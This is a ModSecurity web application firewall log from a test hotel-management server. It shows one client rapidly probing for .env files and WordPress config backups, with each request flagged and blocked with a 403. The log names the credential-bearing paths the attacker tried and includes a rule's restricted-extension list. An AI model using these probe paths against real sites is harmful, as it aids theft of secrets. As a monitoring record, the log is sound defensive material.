[Mon Jul 28 20:46:24.329996 2025] [:error] [pid 1533943] [client 185.177.72.201:44388] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/webstatic/.env&quot;] [unique_id &quot;aIfFgDtW59P3rmsxDxVqRwAAAAI&quot;]
[Mon Jul 28 20:46:24.484944 2025] [:error] [pid 1519683] [client 185.177.72.201:44404] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /well-known/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/well-known/.env&quot;] [unique_id &quot;aIfFgM9E66I2YPyIb96nCAAAAA4&quot;]
[Mon Jul 28 20:46:24.485179 2025] [:error] [pid 1519683] [client 185.177.72.201:44404] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/well-known/.env&quot;] [unique_id &quot;aIfFgM9E66I2YPyIb96nCAAAAA4&quot;]
[Mon Jul 28 20:46:24.485385 2025] [:error] [pid 1519683] [client 185.177.72.201:44404] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/well-known/.env&quot;] [unique_id &quot;aIfFgM9E66I2YPyIb96nCAAAAA4&quot;]
[Mon Jul 28 20:46:24.505493 2025] [:error] [pid 1519683] [client 185.177.72.201:44404] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /whturk/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/whturk/.env&quot;] [unique_id &quot;aIfFgM9E66I2YPyIb96nCQAAAA4&quot;]
[Mon Jul 28 20:46:24.505735 2025] [:error] [pid 1519683] [client 185.177.72.201:44404] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/whturk/.env&quot;] [unique_id &quot;aIfFgM9E66I2YPyIb96nCQAAAA4&quot;]
[Mon Jul 28 20:46:24.505912 2025] [:error] [pid 1519683] [client 185.177.72.201:44404] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/whturk/.env&quot;] [unique_id &quot;aIfFgM9E66I2YPyIb96nCQAAAA4&quot;]
[Mon Jul 28 20:46:24.526282 2025] [:error] [pid 1519683] [client 185.177.72.201:44404] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /windows/tests/9.2.x/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/windows/tests/9.2.x/.env&quot;] [unique_id &quot;aIfFgM9E66I2YPyIb96nCgAAAA4&quot;]
[Mon Jul 28 20:46:24.526612 2025] [:error] [pid 1519683] [client 185.177.72.201:44404] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/windows/tests/9.2.x/.env&quot;] [unique_id &quot;aIfFgM9E66I2YPyIb96nCgAAAA4&quot;]
[Mon Jul 28 20:46:24.526818 2025] [:error] [pid 1519683] [client 185.177.72.201:44404] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/windows/tests/9.2.x/.env&quot;] [unique_id &quot;aIfFgM9E66I2YPyIb96nCgAAAA4&quot;]
[Mon Jul 28 20:46:24.546960 2025] [:error] [pid 1519683] [client 185.177.72.201:44404] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /windows/tests/9.3.x/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/windows/tests/9.3.x/.env&quot;] [unique_id &quot;aIfFgM9E66I2YPyIb96nCwAAAA4&quot;]
[Mon Jul 28 20:46:24.547167 2025] [:error] [pid 1519683] [client 185.177.72.201:44404] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/windows/tests/9.3.x/.env&quot;] [unique_id &quot;aIfFgM9E66I2YPyIb96nCwAAAA4&quot;]
[Mon Jul 28 20:46:24.547335 2025] [:error] [pid 1519683] [client 185.177.72.201:44404] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/windows/tests/9.3.x/.env&quot;] [unique_id &quot;aIfFgM9E66I2YPyIb96nCwAAAA4&quot;]
[Mon Jul 28 20:46:24.567324 2025] [:error] [pid 1519683] [client 185.177.72.201:44404] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /wordpress/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wordpress/.env&quot;] [unique_id &quot;aIfFgM9E66I2YPyIb96nDAAAAA4&quot;]
[Mon Jul 28 20:46:24.567537 2025] [:error] [pid 1519683] [client 185.177.72.201:44404] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wordpress/.env&quot;] [unique_id &quot;aIfFgM9E66I2YPyIb96nDAAAAA4&quot;]
[Mon Jul 28 20:46:24.567707 2025] [:error] [pid 1519683] [client 185.177.72.201:44404] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wordpress/.env&quot;] [unique_id &quot;aIfFgM9E66I2YPyIb96nDAAAAA4&quot;]
[Mon Jul 28 20:46:24.587990 2025] [:error] [pid 1519683] [client 185.177.72.201:44404] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /workspace/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/workspace/.env&quot;] [unique_id &quot;aIfFgM9E66I2YPyIb96nDQAAAA4&quot;]
[Mon Jul 28 20:46:24.588185 2025] [:error] [pid 1519683] [client 185.177.72.201:44404] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/workspace/.env&quot;] [unique_id &quot;aIfFgM9E66I2YPyIb96nDQAAAA4&quot;]
[Mon Jul 28 20:46:24.588345 2025] [:error] [pid 1519683] [client 185.177.72.201:44404] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/workspace/.env&quot;] [unique_id &quot;aIfFgM9E66I2YPyIb96nDQAAAA4&quot;]
[Mon Jul 28 20:46:24.608202 2025] [:error] [pid 1519683] [client 185.177.72.201:44404] [client 185.177.72.201] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.old&quot;] [unique_id &quot;aIfFgM9E66I2YPyIb96nDgAAAA4&quot;]
[Mon Jul 28 20:46:24.608349 2025] [:error] [pid 1519683] [client 185.177.72.201:44404] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;wp-config.old&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: wp-config.old found within REQUEST_FILENAME: /wp-config.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.old&quot;] [unique_id &quot;aIfFgM9E66I2YPyIb96nDgAAAA4&quot;]
[Mon Jul 28 20:46:24.608532 2025] [:error] [pid 1519683] [client 185.177.72.201:44404] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.old&quot;] [unique_id &quot;aIfFgM9E66I2YPyIb96nDgAAAA4&quot;]
[Mon Jul 28 20:46:24.608691 2025] [:error] [pid 1519683] [client 185.177.72.201:44404] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.old&quot;] [unique_id &quot;aIfFgM9E66I2YPyIb96nDgAAAA4&quot;]
[Mon Jul 28 20:46:24.629072 2025] [:error] [pid 1519683] [client 185.177.72.201:44404] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;wp-config.php&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php-backup&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php-backup&quot;] [unique_id &quot;aIfFgM9E66I2YPyIb96nDwAAAA4&quot;]
[Mon Jul 28 20:46:24.629279 2025] [:error] [pid 1519683] [client 185.177.72.201:44404] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php-backup&quot;] [unique_id &quot;aIfFgM9E66I2YPyIb96nDwAAAA4&quot;]
[Mon Jul 28 20:46:24.629441 2025] [:error] [pid 1519683] [client 185.177.72.201:44404] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php-backup&quot;] [unique_id &quot;aIfFgM9E66I2YPyIb96nDwAAAA4&quot;]
[Mon Jul 28 20:46:24.649462 2025] [:error] [pid 1519683] [client 185.177.72.201:44404] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;wp-config.php&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php~&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php~&quot;] [unique_id &quot;aIfFgM9E66I2YPyIb96nEAAAAA4&quot;]
[Mon Jul 28 20:46:24.649649 2025] [:error] [pid 1519683] [client 185.177.72.201:44404] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php~&quot;] [unique_id &quot;aIfFgM9E66I2YPyIb96nEAAAAA4&quot;]
[Mon Jul 28 20:46:24.649806 2025] [:error] [pid 1519683] [client 185.177.72.201:44404] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php~&quot;] [unique_id &quot;aIfFgM9E66I2YPyIb96nEAAAAA4&quot;]
[Mon Jul 28 20:46:24.669845 2025] [:error] [pid 1519683] [client 185.177.72.201:44404] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;wp-config.txt&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: wp-config.txt found within REQUEST_FILENAME: /wp-config.txt&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.txt&quot;] [unique_id &quot;aIfFgM9E66I2YPyIb96nEQAAAA4&quot;]
[Mon Jul 28 20:46:24.670094 2025] [:error] [pid 1519683] [client 185.177.72.201:44404] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.txt&quot;] [unique_id &quot;aIfFgM9E66I2YPyIb96nEQAAAA4&quot;]
[Mon Jul 28 20:46:24.670265 2025] [:error] [pid 1519683] [client 185.177.72.201:44404] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.txt&quot;] [unique_id &quot;aIfFgM9E66I2YPyIb96nEQAAAA4&quot;]
